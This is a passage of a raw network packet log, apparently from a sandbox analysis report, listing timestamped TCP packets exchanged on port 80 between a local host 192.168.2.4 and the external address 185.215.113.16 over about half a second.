Oct 31, 2024 03:03:30.536891937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.536904097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.536916971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.536928892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.536936998 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.536946058 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.536955118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.536966085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.536972046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.536983967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.536994934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.537005901 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.537026882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.537439108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.537451029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.537461996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.537486076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.537512064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.537523985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.537535906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.537547112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.537548065 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.537559986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.537570953 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.537600994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.537625074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.537636995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.537648916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.537661076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.537671089 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.537700891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.605616093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.605642080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.605662107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.605674028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.605685949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.605698109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.605700970 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.605719090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.605736017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.605739117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.605742931 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.605753899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.605765104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.605777025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.605778933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.605791092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.605808020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.605823994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.605834007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.605845928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.605870008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.605873108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.605918884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.605942011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.605963945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.605967045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.606082916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.606122017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.606139898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.606152058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.606163025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.606174946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.606193066 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.606209040 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.655647993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.655679941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.655690908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.655709028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.655719042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.655730009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.655740976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.655751944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.655771017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.655776024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.655802965 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.655812979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.655822992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.655869961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.655951023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.655962944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.655972958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.655982971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.655997038 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.656002045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.656013012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.656023026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.656043053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.656052113 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.656204939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.656224012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.656245947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.656275034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.656318903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.656322956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.656352043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.656363010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.656416893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.656419039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.656430006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.656438112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.656449080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.656471014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.656482935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.656493902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.656497002 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.656503916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.656527042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.656541109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.656554937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.656563997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.656599045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.656609058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.656611919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.656641006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.724649906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.724672079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.724683046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.724695921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.724706888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.724724054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.724737883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.724747896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.724754095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.724760056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.724781036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.724817991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.724833965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.724845886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.724858046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.724869013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.724893093 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.724931955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.724963903 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.724971056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.724982023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.725019932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.725049973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.725061893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.725078106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.725101948 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.725130081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.768960953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.768976927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.768987894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.769090891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.774755955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.774766922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.774780989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.774831057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.774836063 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.774842978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.774854898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.774867058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.774873972 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.774902105 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.774929047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.774940014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.774950981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.774960995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.774974108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775028944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775038958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775048971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775067091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775083065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775091887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775142908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775154114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775177002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775227070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775228024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.775238991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775250912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775260925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775285959 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.775301933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775310040 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.775363922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775373936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775391102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775401115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775417089 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.775439978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.775469065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775481939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775510073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.775517941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775530100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.775558949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.843818903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.843887091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.843959093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.843992949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.844023943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.844043970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.844046116 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.844079971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.844114065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.844146967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.844182014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.844187021 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.844197035 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.844214916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.844248056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.844264030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.844280005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.844315052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.844347954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.844364882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.844383955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.844393015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.844436884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.844470978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.844508886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.844518900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.844543934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.844554901 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.844578981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.844613075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.844660997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.868850946 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.887731075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.887748003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.887758970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.887821913 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.890254974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.893685102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.893698931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.893708944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.893737078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.893740892 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.893747091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.893760920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.893768072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.893773079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.893785000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.893786907 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.893815994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.893826008 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.893826962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.893866062 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.893937111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.893948078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.893958092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.893980026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.893995047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.894010067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.894020081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.894028902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.894063950 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.894115925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.894160032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.894165039 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.894171953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.894198895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.894210100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.894226074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.894256115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.894314051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.894345045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.894356012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.894392967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.894396067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.894408941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.894445896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.894499063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.894552946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.894562960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.894573927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.894594908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.894607067 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.894609928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.894654036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.936741114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.936759949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.936772108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.936819077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.962486029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.962521076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.962533951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.962548018 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.962549925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.962563038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.962589025 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.962611914 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.962620974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.962634087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.962646008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.962658882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.962663889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.962716103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.962747097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.962759018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.962770939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.962784052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.962794065 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.962796926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.962810993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.962825060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.962857962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.962894917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.962908030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.962920904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.962933064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.962944031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.962966919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.963059902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.963083982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.963095903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.963119030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.006447077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.006474018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.006484985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.006499052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.006525993 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.006546021 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.012629032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.012653112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.012672901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.012685061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.012697935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.012706995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.012721062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.012729883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.012736082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.012751102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.012763023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.012787104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.012787104 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.012800932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.012814045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.012836933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.012903929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.012917042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.012928963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.012942076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:31.012955904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.012969971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:31.012975931 CET	49744	80	192.168.2.4	185.215.113.16
